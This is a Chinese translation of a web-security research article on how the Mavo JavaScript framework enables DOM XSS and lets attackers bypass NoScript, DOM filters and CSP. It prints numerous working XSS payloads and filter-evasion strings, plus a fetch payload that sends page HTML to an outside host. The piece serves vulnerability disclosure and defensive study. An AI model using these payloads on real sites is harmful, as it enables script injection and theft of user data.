原文:《Abusing JavaScript frameworks to bypass XSS mitigations》
译者:Twosecurity
在 AppSec Europe Sebastian Lekies 中,Krzysztof Kotowicz 和 Eduardo Vela Nava 展示了如何使用 javascript 框架来绕过 XSS 保护。在这篇文章中,我也会讲解如何利用 Mavo 来突破防御(特别是 NoScript 过滤器)。Marvo 允许开发者用纯 HTML 创建可交互的 Web App。它在 Smashing magzine 公布并很快引起了我的兴趣,因此我开始分析其符号标记及功能。
通过 Mavo 的 $url,开发者可以方便地得到 GET 参数。比方说你想得到参数 x,那么你可以这么写:$url.x //retrieves the GET parameter x
很遗憾,这种方便也会带来 DOM 类型的 XSS。我在17年五月份汇报过类似问题给 CSS 工作组。他们用 Mavo 管理评论并设置 $url 参素为 href,代码大致如下:
<h1><a href="{$url.spec}"mv-attribute="null"property="title"></a></h1>
如你所见,他们通过 $url 获取参数。然而,这个链接只有在获取了有效数据的情况下才会被展示。我可以注入一个 javascript 伪协议,让其获得有效数据并回显:javascript:alert(1)%252f%252f..%252fcss-images
上面的攻击向量提供了一个相对路径。这样,Mavo 会先进入不存在的 javascript:alert(1) 文件夹,再通过..
穿越到父目录读取有效的 css-images。除此之外,我还添加了两个换行符注释掉后面的非法语句,当目标点开这个链接时,就能保证用户正常执行代码。Mavo 至今依然有类似问题,有兴趣的可以点击[Poc]复现。
Mavo 支持用户通过 source 将 Mavo App 的数据源改为 local storage 或者其它位置。这一特性无疑大大地方便了攻击者篡改网页内容或者注入恶意 javascript URL。讽刺的是,Mavo 主页的 Demo 恰好有此类漏洞。我们可以用参数指向外部 JSON 文件(在跨域访问之前,记得开启“Access-Control-Allow-Origin:* ”头)并任意修改该 app 的数据。漏洞代码如下:
<a property="companyURL" mv-attribute="null" href="[companyURL]" target="_blank">http://lea.verou.me</a>
此处的 href 使用了一个 Mavo 的表达式。"companyURL"是从 JSON 中加载的。如果我们包含了如下 JSON 文件:
{ "companyLogo": "http://lea.verou.me/logo.svg", "companyName": "Pwnd Pwnd", "companyAddress": "Pwnd", "companyURL": "javascript:alert(1)", "companyEmail": "pwnd", ...
那么恶意的 javascript 协议会被引入,点击[这里]复现。
Mavo 默认允许我们在 HTML 文件中添加 MavoScript(这个 DSL 加入了对 js 的一些改善和扩展)。说我们可以用 and,or,mod 代替符号运算。其中,=符号被用来判断(js 中是赋值)。再者,调用数学相关的方法时,我们不必使用 Math 对象(比方说直接 max(1,2,3))。[这里]有更多信息。
如果 Mavo 解析到了无效的 MavoScript,那么其会被回滚,并用 javascript parser 解析该段代码。
比方说,我们想在 HTML 中计算1+1,那么我们可以通过[]插入表达式(类似 Angualr 的{{}}):[ 1+1 ]
虽然 Mavo 并没有沙箱机制,但是我们的代码会被重写并在 with 中执行。因此,我们在调用的时候需要用到 self 或者 window 对象:[self.alert(1)]
Mavo 也支持 property 属性。它会将 DOM 元素和 javascript 变量关联起来,比方说:
<p>Slider value: [strength]/100</p> <input type="range" property="strength" title="[strength]%" />
我们还注意到其它几个有意思的表达式:mv-value 和 mv-if 能脱离[]执行脚本。如果表达式为false,mv-if 会改变 DOM 值。值得注意的是这一表达式在任意标签上都可以使用:
<div mv-if=”false”>Hide me</div>
在表达式中,MavoScript 有更有意思的行为。你可以使用没被双引号括起来的字符串(前提是它们需要包含字符,数字,或者下划线)。如果对象属性不存在的话,它们会被转换为空字符。
了解了这么多之后,我开始研究如何绕过 NoScript 过滤器,DOM 过滤器,和 CSP。其中,绕过 DOM 过滤器最为简单。因为你可以使用 data-*
属性来绕过 HTML 验证。在 Mavo 中,如果你要启用 CSP,就不得不开启 unsafe-eval。这意味着我们多了用 eval 直接执行字符串的危险。
我和 NoScript 的作者来了一场对抗赛,我的目标很简单:绕过 NoScript 并外带数据。我的第一个绕过是通过一个简单的 fetch 达成的:[1 and self.fetch('//http://subdomain2.portswigger-labs.net/'&encodeURIComponent(document.body.innerHTML))]
因为 NoScript 过滤器看不懂 and,方括号和&,我可以通过&拼接字符串并发送 HTML。
后来 NoScript 开始检测这些关键字,不过我再一次 bypass 了它:[''=''or self.alert(lol)]
。此处的=是用来判断,由于 javascript 并没有定义紧随其后的 or,所以 NoScript 不会认为后面的代码为 javascript。
正如我前面说的那样,mv- 属性允许表达式自定义分隔符(默认是:[])执行 MavoScript。当NoScript 开始检查[]时,我们可以用该属性进一步绕过:<div data-mv-expressions="lolx
lolx">lolxself.alert('lol')lolx</div>
接下来,我开始研究如何用 html 中的 Mavo 表达式绕过防御。通过在HTML中插入 javascript
url,我们可以轻易绕过 CSP:“<a href=[javascript&':alert(1)']>test</a>”
。虽然没有引号,这里的 javascript
是一个字符串,payload 再用&将 javascript
和 ':alert(1)'
拼合在一起。
后来 NoScript 作者又将上述 bypass 封杀,不过我发现了用多重表达式配合 tag 属性的绕过技巧:<a href='[javascript][":"][x.title][1][x.rel]' rel=) id=x title=alert(>test</a>
,或者:<a href=javascript[x.rel]1)id=x rel=:alert(>test</a>
除此之外,我还可以用/**/
强制 Mavo 解析器变为 javascript 模式,再用 js 的方式拼接字符串:[/**/x='javascript'][/**/x+=':alert'+y.rel+y.title]<a href=[x] id=y title=1) rel=(>test</a>
如果函数调用末尾紧跟着数字,NoScript 就不会检查这个语句。而在 Mavo 中,mod 是一个运算符,因此我们可以用它在在函数后面接数字。由于我们并不需要空格(1%1不需要空格,所以1mod1也不用,毕竟它是一个运算符),NoScript 也不会检查该语句了:[self.alert(1)mod1]
由于引入了大量特殊符号,Mavo 会大大地削弱 CSP,NoScript 等保护机制。除了传统的 DOM XSS 外,Mavo 还引入了数据源劫持等新型漏洞。